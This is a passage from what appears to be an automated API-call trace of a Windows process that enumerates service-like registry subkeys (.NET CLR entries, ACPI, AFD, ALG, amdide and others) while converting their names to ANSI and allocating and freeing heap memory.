lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0236.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0236.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.282] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0236.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0236.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1d18, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0236.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.282] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0236.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0236.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a48, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0236.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.282] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0236.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0236.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1d18, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0236.283] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.283] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0236.283] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0236.283] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a48, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0236.283] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.283] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0236.283] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0236.283] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1d18, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0236.283] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.283] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0236.283] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0236.283] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0236.283] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.284] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0236.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0236.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.284] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.284] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.284] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.284] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0236.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0236.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0236.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.284] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.284] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.284] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.284] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0236.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0236.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.284] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.284] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.284] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.284] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0236.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0236.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1a48, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0236.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.285] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0236.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0236.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.285] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0236.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0236.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.285] RegEnumKeyW (in: hKey=0x150, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0236.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0236.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.285] RegEnumKeyW (in: hKey=0x150, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0236.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0236.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0236.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.286] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.286] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.286] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.286] RegEnumKeyW (in: hKey=0x150, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0236.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0236.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1d18, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0236.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.286] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.286] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.286] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.286] RegEnumKeyW (in: hKey=0x150, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0236.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0236.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0236.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.286] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.286] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.286] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.286] RegEnumKeyW (in: hKey=0x150, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0236.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0236.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0236.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.286] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.287] RegEnumKeyW (in: hKey=0x150, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0236.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0236.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0236.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.287] RegEnumKeyW (in: hKey=0x150, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0236.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0236.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0236.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.287] RegEnumKeyW (in: hKey=0x150, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0236.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0236.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0236.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 